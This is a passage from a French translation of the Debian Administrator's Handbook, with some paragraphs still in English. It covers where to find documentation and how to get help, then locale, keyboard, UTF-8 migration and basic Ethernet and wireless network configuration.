Debian impose à chaque programme d'être accompagné d'une page de manuel. Si l'auteur amont ne la fournit pas, le développeur Debian rédige en général une page minimaliste qui renverra au moins le lecteur à l'emplacement de la documentation originale.

7.1.2. Documentation au format info

Le projet GNU a rédigé les manuels de la plupart de ses programmes au format info ; c'est pourquoi de nombreuses pages de manuel renvoient vers la documentation info correspondante. Ce format offre quelques avantages mais le programme par défaut qui permet de consulter ces documents (appelé info) est également un peu plus complexe. Il est recommandé d'utiliser pinfo à la place (dans le paquet pinfo).

La documentation info a une structure hiérarchique et pinfo invoqué sans paramètres affichera la liste des nœuds disponibles au premier niveau. Habituellement, un nœud porte le nom de la commande correspondante.

Dans pinfo, la navigation entre les nœuds se fait simplement avec les touches flèches. Alternativement, vous pouvez aussi employer un navigateur graphique, beaucoup plus convivial. À nouveau, konqueror et yelp conviennent ; le paquet info2www fournit également une interface web.

→ http://localhost/cgi-bin/info2www

On notera que le système info ne permet pas de traduction, contrairement au système de pages man. Ses pages sont donc presque systématiquement en anglais. Cependant, lorsqu'on demande au programme pinfo d'afficher une page info inexistante, il se rabattra sur la page man du même nom, si celle-ci existe ; cette dernière pourra donc éventuellement exister en français.

7.1.3. La documentation spécifique

Chaque paquet intègre sa documentation spécifique : même les logiciels les moins bien documentés disposent en général au moins d'un fichier README (« lisez-moi ») contenant quelques informations intéressantes et/ou importantes. Cette documentation est installée dans le répertoire /usr/share/doc/paquet/ (où paquet représente le nom du paquet). Si elle est très volumineuse, elle peut ne pas être intégrée au paquet du programme mais constituer son propre paquet, alors intitulé paquet-doc. Le paquet du programme recommande en général le paquet de documentation pour le mettre en exergue.

Dans le répertoire /usr/share/doc/paquet/ se trouvent également quelques fichiers fournis par Debian qui complètent la documentation du point de vue des particularités ou améliorations du paquet par rapport à une installation traditionnelle du logiciel. Le fichier README.Debian signale ainsi toutes les adaptations effectuées pour être en conformité avec la charte Debian. Le fichier changelog.Debian.gz permet quant à lui de suivre les modifications apportées au paquet au fil du temps : il est très utile pour essayer de comprendre ce qui a changé entre deux versions installées et qui n'ont apparemment pas le même comportement. Enfin, on trouve parfois un fichier NEWS.Debian.gz documentant les changements majeurs du programme qui peuvent concerner directement l'administrateur (voir Section 6.7.2, « Gérer les problèmes consécutifs à une mise à jour »).

7.1.4. Les sites web

In most cases, free software programs have websites that are used to distribute it and to bring together the community of its developers and users. These sites are frequently loaded with relevant information in various forms: official documentation, FAQ (Frequently Asked Questions), mailing list archives, etc. Problems that you may encounter have often already been the subject of many questions; the FAQ or mailing list archives may have a solution for it. A good mastery of search engines will prove immensely valuable to find relevant pages quickly (by restricting the search to the Internet domain or sub-domain dedicated to the program). If the search returns too many pages or if the results do not match what you seek, you can add the keyword debian to limit results and target relevant information.

ASTUCE De l'erreur à la solution

Si le logiciel renvoie un message d'erreur très spécifique, saisissez-le dans un moteur de recherche (entre apostrophes doubles « " » pour ne pas rechercher les mots individuellement, mais l'expression complète) : dans la majorité des cas, les premiers liens renvoyés contiendront la réponse que vous cherchez.

Dans d'autres cas, on aura simplement une erreur très générique comme « Permission non accordée » ; il conviendra alors de vérifier les permissions des éléments en jeu (fichiers, identité des utilisateurs, groupes, etc.).

Si vous ne connaissez pas l'adresse du site web du logiciel, il y a différents moyens de l'obtenir. Vérifiez en premier lieu si un champ Homepage n'est pas présent dans les méta-informations du paquet (apt show paquet). Alternativement, la description du paquet peut contenir un pointeur sur le site web officiel du logiciel. Si aucune URL n'y est indiquée, il convient alors d'examiner /usr/share/doc/paquet/copyright. Le mainteneur Debian y mentionne en effet l'endroit où il a récupéré le code source du programme et il est probable qu'il s'agisse justement du site web en question. Si à ce stade votre recherche est toujours infructueuse, il faut consulter un annuaire de logiciels libres comme celui de la FSF ou Framasoft, ou encore directement effectuer une recherche sur un moteur comme Google ou Yahoo.

→ https://directory.fsf.org/wiki/Main_Page

→ http://framasoft.org/

You might also want to check the Debian wiki, a collaborative website where anybody, even new visitors, can make suggestions directly from their browsers. It is used equally by developers who design and specify their projects, and by users who share their knowledge by writing documents collaboratively.

→ https://wiki.debian.org/

7.1.5. Les tutoriels (HOWTO)

A HOWTO is a document that describes, in concrete terms and step by step, “how to” reach a predefined goal. The covered goals are relatively varied, but often technical in nature: for example, setting up IP Masquerading, configuring software RAID, installing a Samba server, etc. These documents often attempt to cover all of the potential problems likely to occur during the implementation of a given technology.

Many such tutorials are managed by the Linux Documentation Project (LDP), whose website hosts all of these documents:

→ https://www.tldp.org/

Debian also provides tutorials for its users:

→ https://www.debian.org/doc/

All these documents should be taken with a grain of salt. They are often several years old; the information they contain is sometimes obsolete. This phenomenon is even more frequent for their translations, since updates are neither systematic nor instant after the publication of a new version of the original documents. Further many tutorials nowadays are provided by bloggers, sharing their individual solution with the interested reader. They often lack important information, i.e. the reason why some configuration has been chosen over another, or why some option has been enabled or disabled. Because blogging and creating personal websites made it so easy to share, many of these often short tutorials exist, but only a few are actively maintained and well-kept. This can make it hard to find the "right" one for you. This is all part of the joys of working in a volunteer environment and without constraints…

7.2. Procédures types

Cette section vise à présenter quelques conseils génériques portant sur certaines opérations qu'un administrateur est souvent amené à effectuer. Ces procédures ne couvriront évidemment pas tous les cas de figure de manière exhaustive, mais pourront servir de points de départ pour les cas les plus ardus.

DÉCOUVERTE Documentation dans d'autres langues

Il arrive fréquemment qu'une documentation traduite en français soit disponible dans un paquet séparé portant le nom du paquet correspondant suivi de -fr (code ISO officiel de la langue française).

For instance, the debian-reference-fr package is the French version of the reference guides for Debian (initially written in English by Osamu Aoki), and the manpages-de package contains the German version of the manual pages about using GNU/Linux.

7.2.1. Configuration d'un logiciel

When you want to configure an unknown package, you must proceed in stages. First, you should read what the package maintainer has documented. Reading /usr/share/doc/package/README.Debian will allow you to learn of specific provisions made to simplify the use of the software. It is sometimes essential in order to understand the differences from the original behavior of the program, as described in the general documentation, such as howtos. Sometimes this file also details the most common errors in order for you to avoid wasting time on common problems.

Ensuite, il faut consulter la documentation officielle du logiciel — référez-vous à la Section 7.1, « Les sources de documentation » pour identifier les différentes sources de documentation. La commande dpkg -L paquet donne la liste des fichiers inclus dans le paquet ; on pourra ainsi repérer rapidement les documentations disponibles (ainsi que les fichiers de configuration, situés dans /etc/). dpkg -s paquet produit les métadonnées du paquet et donne les éventuels paquets recommandés ou suggérés : on pourra y trouver de la documentation ou un utilitaire facilitant la configuration du logiciel.

Enfin, les fichiers de configuration sont souvent autodocumentés par de nombreux commentaires explicatifs détaillant les différentes valeurs possibles de chaque paramètre — à tel point qu'il suffit parfois de choisir la ligne à activer parmi celles proposées. Dans certains cas, des exemples de fichiers de configuration sont fournis dans le répertoire /usr/share/doc/paquet/examples/. Ils pourront alors servir de base à votre propre fichier de configuration.

CHARTE DEBIAN Emplacement des exemples

Tout exemple doit être installé dans le répertoire /usr/share/doc/paquet/examples/. Il peut s'agir d'un fichier de configuration, d'un code source de programme (exemple d'emploi d'une bibliothèque), ou d'un script de conversion de données que l'administrateur pourrait employer dans certains cas (comme pour initialiser une base de données). Si l'exemple est spécifique à une architecture, il convient de l'installer dans /usr/lib/paquet/examples/ et de créer un lien pointant sur lui dans le répertoire /usr/share/doc/paquet/examples/.

7.2.2. Surveiller l'activité des démons

Un démon complique un peu la compréhension des situations, puisqu'il n'interagit pas directement avec l'administrateur. Pour vérifier son fonctionnement, il est donc nécessaire de le tester, par exemple avec une requête HTTP pour le démon Apache (un serveur web).

B.A.-BA Démon

Un démon (daemon) est un programme non invoqué explicitement par l'utilisateur et qui reste en arrière-plan, attendant la réalisation d'une condition avant d'effectuer une tâche. Beaucoup de logiciels serveurs sont des démons — terme qui explique la lettre « d » souvent présente à la fin de leur nom (sshd, smtpd, httpd, etc.).

Pour permettre ces vérifications, chaque démon garde généralement des traces de tout ce qu'il a fait ainsi que des erreurs qu'il a rencontrées — on les appelle logs (journaux de bord du système). Les logs sont stockés dans /var/log/ ou l'un de ses sous-répertoires. Pour connaître le nom précis du fichier de log de chaque démon, on se référera à la documentation. Attention, un seul test ne suffit pas toujours s'il ne couvre pas la totalité des cas d'utilisation possibles : certains problèmes ne se manifestent que dans certaines circonstances particulières.

OUTIL Le démon rsyslogd

rsyslogd est particulier : il collecte les traces (messages internes au système) qui lui sont envoyées par les autres programmes. Chaque trace est associée à un sous-système (courrier électronique, noyau, authentification, etc.) et à une priorité, deux informations que rsyslogd consulte pour décider de son traitement : la trace peut être consignée dans divers fichiers de logs et/ou envoyée sur une console d'administration. Le détail des traitements effectués est défini par le fichier de configuration /etc/rsyslog.conf (documenté dans la page de manuel éponyme fournie avec le paquet rsyslog-doc).

Certaines fonctions C, spécialisées dans l'envoi de traces, facilitent l'emploi du démon rsyslogd. Certains démons gèrent toutefois eux-mêmes leurs fichiers de logs (c'est par exemple le cas de samba, le serveur implémentant les partages Windows sur Linux).

Notons que lorsque systemd est utilisé, les logs sont en réalité collectés par systemd avant d'être transmis à rsyslogd. Ils sont donc disponibles dans le journal de systemd, et peuvent être consultés avec journalctl (voir Section 9.1.1, « Le système d'initialisation systemd » pour plus de détails).

As a preventive operation, the administrator should regularly read the most relevant server logs. They can thus diagnose problems before they are even reported by disgruntled users. Indeed users may sometimes wait for a problem to occur repeatedly over several days before reporting it. In many cases, there are specific tools to analyze the contents of the larger log files. In particular, such utilities exist for web servers (such as analog, awstats, awffull for Apache), FTP servers, proxy/cache servers, firewalls, e-mail servers, DNS servers, and even for print servers. Other tools, such as logcheck (a software discussed in Chapitre 14, Sécurité), scan these files in search of alerts to be dealt with.

7.2.3. Demander de l'aide sur une liste de diffusion

If your various searches haven't helped you to get to the root of a problem, it is possible to get help from other, perhaps more experienced people. This is exactly the purpose of the <debian-user@lists.debian.org> mailing list and its language specific siblings <debian-user-lang@lists.debian.org>. As with any community, it has rules that need to be followed. Before asking any question, you should check that your problem isn't already covered by recent discussions on the list or by any official documentation.

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

→ https://lists.debian.org/users.html

B.A.-BA La Netiquette s'applique

In general, for all correspondence on e-mail lists, the rules of Netiquette should be followed. This term refers to a set of common sense rules, from common courtesy to mistakes that should be avoided.

→ https://tools.ietf.org/html/rfc1855

De plus, tous les canaux de communication gérés par le projet Debian sont régis par le code de conduite de Debian :

→ https://www.debian.org/code_of_conduct

Ces deux conditions remplies, vous pouvez envisager de décrire votre problème sur la liste de diffusion. Incluez le maximum d'informations pertinentes : les différents essais effectués, les documentations consultées, comment vous avez diagnostiqué le problème, les paquets concernés ou susceptibles d'être en cause. Consultez le système de suivi de bogues de Debian (BTS, ou Bug Tracking System, décrit dans l'encadré Section 1.3.2.1, « Signaler des bogues ») à la recherche d'un problème similaire et mentionnez le résultat de cette recherche en fournissant les liens vers les bogues trouvés. Rappelons que toute exploration du BTS débute à la page suivante :

→ https://bugs.debian.org/

Plus vous aurez été courtois et précis, plus grandes seront vos chances d'obtenir une réponse — ou du moins des éléments de réponse. Si vous recevez des informations intéressantes par courrier privé, pensez à faire une synthèse publique des réponses reçues afin que tout le monde puisse en profiter et que les archives de la liste, dûment explorées par divers moteurs de recherche, donnent directement la réponse à ceux qui se poseront la même question que vous.

7.2.4. Signaler un bogue en cas de problème incompréhensible

Si tous vos efforts pour résoudre un problème restent vains, il est possible que celui-ci ne relève pas de votre responsabilité et qu'il s'agisse en fait d'un bogue dans le programme récalcitrant. Dans ce cas, la procédure à adopter est de le signaler à Debian ou directement aux auteurs du logiciel. Pour cela, il convient d'isoler le mieux possible le problème et de créer une situation de test minimale qui permette de le reproduire. Si vous savez quel programme est la cause apparente du problème, il est possible de retrouver le paquet concerné à l'aide de la commande dpkg -S fichier_en_cause. La consultation du système de suivi de bogues (https://bugs.debian.org/paquet) permettra de vérifier que ce bogue n'a pas encore été répertorié. On pourra alors envoyer son propre rapport de bogue à l'aide de la commande reportbug — en incluant le maximum d'informations, en particulier la description complète du cas minimal de test qui permet de reproduire le bogue.

Les éléments du présent chapitre constituent un moyen de résoudre efficacement les embarras que les chapitres suivants pourraient susciter. Faites-y donc appel aussi souvent que nécessaire !

Chapitre 8. Configuration de base : réseau, comptes, impression...

Un ordinateur nouvellement installé par debian-installer se veut aussi fonctionnel que possible, mais de nombreux services restent à paramétrer. Par ailleurs, il est bon de savoir comment changer certains éléments de configuration définis lors de l'installation initiale.

Ce chapitre passe en revue tout qui relève de ce que l'on peut appeler la « configuration de base » : réseau, langue et « locales », utilisateurs et groupes, impression, points de montage, etc.

8.1. Francisation du système

Il est probable que l'ordinateur fonctionne déjà en français si l'installation a été menée dans cette langue. Mais il est bon de savoir ce que l'installateur a fait à ce sujet pour effectuer des modifications plus tard si le besoin s'en faisait sentir.

OUTIL La commande locale pour afficher la configuration courante

La commande locale permet d'afficher un résumé de la configuration courante des différents paramétrages de la locale (format des dates, des nombres, etc.), présenté sous la forme d'un ensemble de variables d'environnement standards et dédiées à la modification dynamique de ces réglages.

8.1.1. Définir la langue par défaut

Une locale correspond à un jeu de paramètres régionaux. Ceci inclut non seulement la langue des textes, mais aussi le format de présentation des nombres, des dates et des heures, des sommes monétaires ainsi que le mode de comparaison alphabétique (afin de tenir compte des caractères accentués). Bien que chacun de ces paramètres puisse être spécifié indépendamment des autres, on utilisera généralement une locale, qui est un ensemble cohérent de valeurs pour ces paramètres, correspondant à une « région » au sens large. Ces locales sont la plupart du temps décrites sous la forme code-langue_CODE-PAYS avec parfois un suffixe pour spécifier le jeu de caractères et l'encodage à utiliser. Ceci permet de prendre en compte les différences idiomatiques ou typographiques entre différentes régions de langue commune.

CULTURE Jeux de caractères

À chaque locale sont normalement associés un « jeu de caractères » (ensemble des caractères possibles) et un « encodage » (manière de représenter les caractères pour l'ordinateur) de prédilection.

Les encodages les plus populaires pour les langues à alphabet latin utilisaient un octet par caractère et étaient de ce fait limités à 256 caractères. Comme cette limitation à 256 caractères ne permettait pas de couvrir toutes les langues en usage en Europe, plusieurs encodages indépendants étaient requis, ce qui a mené à une multitude de jeux de caractères, notamment la série des ISO-8859-1 (connu comme « Latin 1 ») à ISO-8859-15 (« Latin 9 »).

Pour travailler avec des langues étrangères, il fallait donc régulièrement jongler avec différents encodages et jeux de caractères. De surcroît, la rédaction de documents multilingues posait parfois des problèmes quasi insurmontables. Unicode (super catalogue de presque tous les systèmes d'écriture des langues du monde) fut créé pour contourner ce problème. Son encodage particulier UTF-8 conserve tous les 128 symboles ASCII (codés sur 7 bits) mais traite différemment les autres caractères. Ces derniers sont précédés par une séquence de bits d'« échappement » plus ou moins longue. Cela permet de représenter tous les caractères Unicode sur un ou plusieurs octets, selon le besoin. L'usage d'UTF-8 s'est largement répandu, aidé par le fait que c'est l'encodage par défaut utilisé dans les documents XML.

Il s'agit de l'encodage généralement recommandé et de la valeur par défaut sur les systèmes Debian.

The locales package includes all the elements required for proper functioning of “localization” of various applications. During installation, this package will ask you to select a set of supported languages. This set can be changed at any time by running dpkg-reconfigure locales as root.

On demande d'abord de choisir toutes les « locales » à prendre en charge. La sélection de toutes les locales françaises (c'est-à-dire celles débutant par « fr_FR ») est un choix raisonnable. N'hésitez pas à sélectionner d'autres locales si la machine héberge des utilisateurs étrangers. Cette liste des locales connues du système est stockée dans le fichier /etc/locale.gen. Il est possible d'intervenir sur ce fichier à la main, mais il faut penser à exécuter locale-gen après chaque modification ; cela génère les fichiers nécessaires au bon fonctionnement des locales éventuellement ajoutées, tout en supprimant les fichiers obsolètes.

The second question, entitled “Default locale for the system environment”, requests a default locale. The recommended choice in the USA is “en_US.UTF-8”. British English speakers will prefer “en_GB.UTF-8”, and Canadians will prefer either “en_CA.UTF-8” or, for French, “fr_CA.UTF-8”. The /etc/default/locale file will then be modified to store this choice. From there, it is picked up by all user sessions since PAM will inject its content in the LANG environment variable.

Le package locales-all contient les données de paramètres régionaux précompilés pour tous les paramètres régionaux pris en charge.

EN COULISSES /etc/environment et /etc/default/locale

Le fichier /etc/environment sert aux programmes login, gdm, ou encore ssh pour créer leurs variables d'environnement.

These applications do not create these variables directly, but rather via a PAM (pam_env.so) module. PAM (Pluggable Authentication Module) is a modular library centralizing the mechanisms for authentication, session initialization, and password management. See Section 11.7.3.2, « Configuration de PAM » for an example of PAM configuration.

/etc/default/locale fonctionne de la même manière, mais ne contient que la variable d'environnement LANG, de sorte que certains utilisateurs de PAM puissent hériter d'un environnement sans localisation. Il est en effet déconseillé que les programmes serveurs utilisent des paramètres régionaux, alors que les programmes qui ouvrent des sessions pour l'utilisateur sont au contraire tout indiqués pour utiliser des paramètres régionaux implicites.

8.1.2. Configurer le clavier

Bien que la disposition du clavier soit gérée différemment entre la console texte et le mode graphique, Debian fournit une interface de configuration unique qui fonctionne pour les deux modes : cette interface est basée sur Debconf et fournie par le paquet keyboard-configuration. Ainsi, la commande dpkg-reconfigure keyboard-configuration peut être utilisée à tout instant pour reconfigurer la disposition de clavier.

Les questions portent dans l'ordre sur l'apparence du clavier physique (un clavier de PC standard en France sera « PC générique 105 touches (intl) »), puis sur la disposition à choisir (on choisira généralement « France » sauf cas particuliers), puis sur la position de la touche AltGr. Vient enfin une question sur la position à utiliser pour la « touche Compose », qui permet de saisir des caractères spéciaux en combinant des caractères simples. Taper successivement Compose ' e produira ainsi un e accent aigu (« é »). Toutes ces combinaisons sont décrites dans le fichier /usr/share/X11/locale/en_US.UTF-8/Compose (ou un autre fichier, déterminé en fonction de la locale en cours par la table de correspondance décrite par /usr/share/X11/locale/compose.dir).

Il est à noter que la configuration du clavier pour le mode graphique décrite ici n'influe que sur la disposition par défaut ; les environnements de bureau GNOME et KDE Plasma, entre autres, fournissent un panneau de configuration Clavier dans leurs préférences, permettant à chaque utilisateur d'avoir sa propre disposition. Quelques options supplémentaires concernant le comportement de certaines touches particulières sont également disponibles dans ces panneaux de configuration.

8.1.3. Migration vers UTF-8

La généralisation de l'encodage UTF-8 a constitué une solution longtemps attendue à de nombreux problèmes d'interopérabilité, puisqu'elle facilite les échanges internationaux et lève les limites arbitraires sur les caractères que l'on peut utiliser dans un document. L'inconvénient est qu'il a fallu passer par une phase de conversion un peu rebutante, d'autant qu'elle n'aurait pu être totalement transparente que si elle avait été synchronisée dans le monde entier et que deux opérations de conversion étaient en réalité à prévoir : l'une sur le contenu des fichiers, l'autre sur leur nom. Fort heureusement, le plus gros de cette migration est passé et nous la citons principalement pour référence.

CULTURE Mojibake et erreurs d'interprétation

When a text is sent (or stored) without encoding information, it is not always possible for the recipient to know with certainty what convention to use for determining the meaning of a set of bytes. You can usually get an idea by getting statistics on the distribution of values present in the text, but that doesn't always give a definite answer. When the encoding system chosen for reading differs from that used in writing the file, the bytes are misinterpreted, and you get, at best, errors on some characters, or, at worst, something completely illegible.

Ainsi, si un texte français apparaît normal à l'exception des lettres accentuées et de certains symboles, qui semblent remplacés par des séquences du type « Ã© », « Ã¨ » ou « Ã§ », il s'agit vraisemblablement d'un texte encodé en UTF-8 mais interprété comme ISO-8859-1 ou ISO-8859-15. C'est le signe d'une installation locale non encore migrée vers UTF-8. Si en revanche vous voyez apparaître des points d'interrogation à la place des lettres accentuées, voire que ces points d'interrogation semblent remplacer également un caractère qui aurait dû suivre cette lettre accentuée, il est probable que votre installation soit déjà configurée en UTF-8 et que l'on vous ait envoyé un document encodé en ISO-8859-*.

Voilà pour les cas « simples ». Ces cas n'apparaissent que pour les cultures occidentales, parce qu'Unicode (et UTF-8) a été conçu pour maximiser les points communs avec les encodages historiques pour les langues occidentales à base d'alphabet latin, ce qui permet de reconnaître en partie le texte même s'il manque des caractères.

Dans les configurations plus complexes, où interviennent par exemple deux environnements correspondant à deux langues différentes n'utilisant pas le même alphabet, on obtient souvent des résultats illisibles, succession de symboles abstraits n'ayant rien à voir les uns avec les autres. Comme cette situation était particulièrement fréquente en Asie du fait de la multiplicité des langues et des systèmes d'écriture, l'usage a consacré le mot japonais mojibake pour désigner ce phénomène. Lorsqu'il apparaît, le diagnostic est plus complexe et la solution la plus simple est souvent de migrer vers UTF-8 de part et d'autre.

En ce qui concerne les noms de fichiers, la migration pourra être relativement simple. L'outil convmv (dans le paquet du même nom) a été précisément écrit à cet effet : il permet de renommer les fichiers d'un encodage à un autre. Son invocation est relativement simple, mais nous recommandons de l'effectuer en deux étapes pour éviter des surprises. L'exemple qui suit illustre un environnement UTF-8 contenant encore des répertoires dont le nom est encodé en ISO-8859-15 et une utilisation de convmv pour leur renommage.

$ ls travail/

Ic?nes  ?l?ments graphiques  Textes

$ convmv -r -f iso-8859-15 -t utf-8 travail/

Starting a dry run without changes...

mv "travail/�l�ments graphiques"        "travail/Éléments graphiques"

mv "travail/Ic�nes"     "travail/Icônes"

No changes to your files done. Use --notest to finally rename the files.

$ convmv -r --notest -f iso-8859-15 -t utf-8 travail/

mv "travail/�l�ments graphiques"        "travail/Éléments graphiques"

mv "travail/Ic�nes"     "travail/Icônes"

Ready!

$ ls travail/

Éléments graphiques  Icônes  Textes

Pour le contenu des fichiers, la procédure sera plus complexe, étant donné la multiplicité des formats de fichiers existants. Certains des formats de fichiers embarquent une information d'encodage, ce qui facilite la tâche aux logiciels qui les traitent ; il suffit alors d'ouvrir ces fichiers et de les réenregistrer en spécifiant l'encodage UTF-8. Dans d'autres cas, il faudra spécifier l'encodage d'origine (ISO-8859-1 ou « Occidental », ou ISO-8859-15 ou « Occidental (euro) » suivant les formulations) lors de l'ouverture du fichier.

For simple text files, you can use recode (in the package of the same name) which allows automatic recoding. This tool has numerous options so you can play with its behavior. We recommend you consult the documentation, the recode(1) man page, or the recode info page (more complete). Alternatively, iconv supports more character sets, but has less options.

8.2. Configuration du réseau

B.A.-BA Rappels réseau essentiels (Ethernet, adresse IP, sous-réseau, broadcast...)

La majorité des réseaux locaux actuels sont des réseaux Ethernet qui fonctionnent par trames, c'est-à-dire que les données y circulent de manière non continue, par petits blocs. Le débit varie de 10 Mbit/s pour les cartes Ethernet les plus anciennes, à 100 Gbit/s pour la génération la plus récente (avec le débit le plus répandu passant actuellement de 100 Mb/s à 10 Gb/s). Les câbles correspondants les plus courants sont, selon les débits qu'ils permettent d'acheminer, connus sous les nom de 10BASE-T, 100BASE-T, 1000BASE-T, 10GBASE-T et 40GBASE-T, dits en « paire torsadée », dont chaque extrémité est munie d'un connecteur RJ45 — mais il existe d'autres types de câbles, qui sont surtout utilisés pour les débits à partir de 10 Gbit/s.

Une adresse IP est un numéro employé pour identifier une interface réseau d'un ordinateur sur le réseau local ou sur Internet. Dans la version d'IP actuellement la plus répandue (IPv4), ce numéro se code sur 32 bits et se représente habituellement comme 4 nombres séparés par des points (ex : 192.168.0.1), chaque nombre pouvant varier de 0 à 255 (représentant ainsi 8 bits de données). La version suivante du protocole, IPv6, étend cet espace d'adressage à 128 bits, une adresse étant représentée sous forme de nombres hexadécimaux séparés par des deux-points (ex : 2002:58bf:13bb:0002:0000:0000:0020, que l'on peut abréger en 2002:58bf:13bb:2::20).

Un masque de sous-réseau (netmask) définit par son codage en binaire quelle portion d'une adresse IP correspond au réseau — le reste y spécifiant l'identifiant de la machine. Dans l'exemple de configuration statique IPv4 donné ici, le masque de sous-réseau 255.255.255.0 (24 « 1 » suivis de 8 « 0 » en représentation binaire) indique que les 24 premiers bits de l'adresse IP correspondent à l'adresse réseau, les 8 derniers relevant alors du numéro de machine. En IPv6, pour des raisons de lisibilité, on note uniquement le nombre de « 1 ». Un netmask IPv6 peut donc être 64.

L'adresse de réseau est une adresse IP dont la partie décrivant le numéro de machine est à zéro. On décrit souvent la plage d'adresses IPv4 d'un réseau complet par la syntaxe a.b.c.d/e où a.b.c.d est l'adresse réseau et e le nombre de bits affectés à la partie réseau dans une adresse IP. Le réseau de l'exemple s'écrirait ainsi : 192.168.0.0/24. La syntaxe est similaire en IPv6 : 2001:db8:13bb:2::/64.

Un routeur est une machine reliant plusieurs réseaux entre eux. Tout le trafic y parvenant est réorienté sur le bon réseau. Pour cela, le routeur analyse les paquets entrants et les redirige en fonction des adresses IP de leurs destinataires. Le routeur est souvent qualifié de passerelle ; il s'agit alors habituellement d'une machine qui permet de sortir d'un réseau local (vers un réseau étendu comme Internet).

L'adresse de broadcast (diffusion), spéciale, permet de joindre tous les postes du réseau. Presque jamais « routée », elle ne fonctionne donc que sur le réseau considéré. Concrètement, cela signifie qu'un paquet de données adressé au broadcast ne franchit jamais un routeur.

Notez que nous nous restreignons dans ce chapitre aux adresses IPv4, les plus couramment utilisées à l'heure actuelle. Les détails du protocole IPv6 seront abordés dans la Section 10.6, « IPv6 », mais les concepts resteront les mêmes.

Le réseau est automatiquement configuré lors de l'installation initiale. Si Network Manager est installé (ce qui est généralement le cas pour les installations de bureau complètes), il se peut qu'aucune configuration ne soit réellement requise (par exemple, si vous comptez sur DHCP sur une connexion filaire et n'avez pas d'exigences spécifiques). Si une configuration est requise (par exemple, pour une interface WiFi), il créera le fichier approprié dans /etc/NetworkManager/system-connections/.

NOTE NetworkManager

If Network Manager is particularly recommended in roaming setups (see Section 8.2.5, « Configuration réseau itinérante »), it is also perfectly usable as the default network management tool. You can create “System connections” that are used as soon as the computer boots either manually with a .ini-like file in /etc/NetworkManager/system-connections/ or through a graphical tool (nm-connection-editor). If you were using ifupdown, just remember to deactivate the entries in /etc/network/interfaces that you want Network Manager to handle.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

→ https://developer.gnome.org/NetworkManager/1.30/ref-settings.html

If Network Manager is not installed, then the installer will configure ifupdown by creating the /etc/network/interfaces file. A line starting with auto gives a list of interfaces to be automatically configured on boot by the networking service. When there are many interfaces, it is good practice to keep the configuration in different files inside /etc/network/interfaces.d/ as described in sidebar B.A.-BA Répertoire en .d.

In a server context, ifupdown is thus the network configuration tool that you usually get. That is why we will cover it in the next sections. For more information about the syntax of the configuration file please read interfaces(5).

8.2.1. Interface Ethernet

Si l'ordinateur dispose d'une carte réseau Ethernet, il faut configurer le réseau qui y est associé en optant pour l'une de deux méthodes. La configuration dynamique par DHCP, la plus simple, nécessite la présence d'un serveur DHCP sur le réseau local. Elle peut indiquer un nom d'hôte souhaité, ce qui correspond au paramètre facultatif hostname dans l'exemple qui suit. Le serveur DHCP renvoie alors les paramètres de configuration du réseau qui conviennent.

Exemple 8.1. Configuration par DHCP

auto enp0s31f6

iface enp0s31f6 inet dhcp

hostname arrakis

EN PRATIQUE Noms des cartes réseau

By default, the kernel attributes generic names such as eth0 (for wired Ethernet) or wlan0 (for WiFi) to the network interfaces. The number in those names is a simple incremental counter representing the order in which they have been detected. With modern hardware, that order (at least in theory) might change for each reboot and thus the default names are not reliable.

Heureusement, systemd et udev sont capables de renommer les interfaces dès qu'elles apparaissent. La politique par défaut pour nom est définie par /lib/systemd/network/99-default.link (voir systemd.link(5) pour une explication du paramètre NamePolicy dans ce fichier). En pratique, les noms sont souvent basés sur l'emplacement physique du périphérique (deviné d'après l'endroit où ils sont connectés) et vous verrez des noms commençant par en pour Ethernet filaire et wl pour le Wifi. Dans l'exemple ci-dessus, le reste du nom indique, sous forme abrégée, un numéro (p) de bus PCI (0), un numéro de slot (s31), un numéro de fonction (f6).

Évidemment, vous êtes libre de passer outre cette politique et/ou de la compléter pour personnaliser les noms de certaines interfaces spécifiques. Vous pouvez trouver les noms des interfaces réseau dans la sortie de ip addr (ou comme noms de fichiers dans /sys/class/net/).

In some corner cases it might be necessary to disable the predictable naming of network devices as described above. Besides changing the default udev rule it is also possible to boot the system using the net.ifnames=0 (restores the default kernel behavior) and biosdevname=0 kernel parameters to achieve that.

The predecessor of the predictable name scheme was called “persistent name scheme”. It was done using a udev rule to assign the device name based on the MAC address. This scheme has been abandoned and with the release of Debian 10 Buster users have been encouraged to migrate to predictable network device names.

→ https://www.debian.org/releases/buster/amd64/release-notes/ch-information.en.html#migrate-interface-names

Une configuration « statique » doit mentionner de manière fixe les paramètres du réseau. Cela inclut au minimum l'adresse IP et le masque de sous-réseau, parfois les adresses de réseau et de broadcast. Un éventuel routeur vers l'extérieur sera précisé en tant que passerelle (gateway).

Exemple 8.2. Configuration statique

auto enp0s31f6

iface enp0s31f6 inet static

address 192.168.0.3/24

broadcast 192.168.0.255

network 192.168.0.0

gateway 192.168.0.1

NOTE Adresses multiples

It is possible not only to associate several interfaces to a single, physical network card, but also several IP addresses to a single interface. To assign them, just create several iface entries for the same device. Remember also that an IP address may correspond to any number of names via DNS, and that a name may also correspond to any number of numerical IP addresses.

On l'aura compris, les configurations peuvent être très complexes, mais ces possibilités ne sont utilisées que dans des cas très particuliers. Les exemples cités ici n'exposent donc que les configurations usuelles.

8.2.2. Interface sans fil

Faire fonctionner les cartes réseau sans fil peut être un peu plus difficile. Tout d'abord, elles nécessitent souvent l'installation de firmwares propriétaires qui ne sont pas installés par défaut dans Debian. Ensuite, les réseaux sans fil s'appuient sur la cryptographie pour restreindre l'accès aux seuls utilisateurs autorisés, cela implique de stocker une clé secrète dans la configuration du réseau. Abordons ces sujets un par un.

8.2.2.1. Installation des firmwares requis

Tout d'abord, vous devez activer le dépôt non-free dans le fichier sources.list d'APT : pour les détails sur ce fichier voir Section 6.1, « Renseigner le fichier sources.list ». De nombreux firmwares sont propriétaires et se trouvent donc dans ce dépôt. Vous pouvez essayer de sauter cette étape si vous le souhaitez, mais si l'étape suivante ne trouve pas le firmware requis, réessayez après avoir activé la section non-free.

Ensuite, vous devez installer les paquets firmware-* appropriés. Si vous ne savez pas de quel paquet vous avez besoin, vous pouvez installer le paquet isenkram et exécuter isenkram-autoinstall-firmware. Le nom des paquets vient souvent du nom du fabricant matériel ou du module noyau correspondant : firmware-iwlwifi pour les cartes sans fil Intel, firmware-atheros pour Qualcomm Atheros, firmware-ralink pour Ralink, etc. Un redémarrage est ensuite recommandé car le pilote noyau recherche généralement les fichiers de micrologiciel à son premier chargement mais plus après.

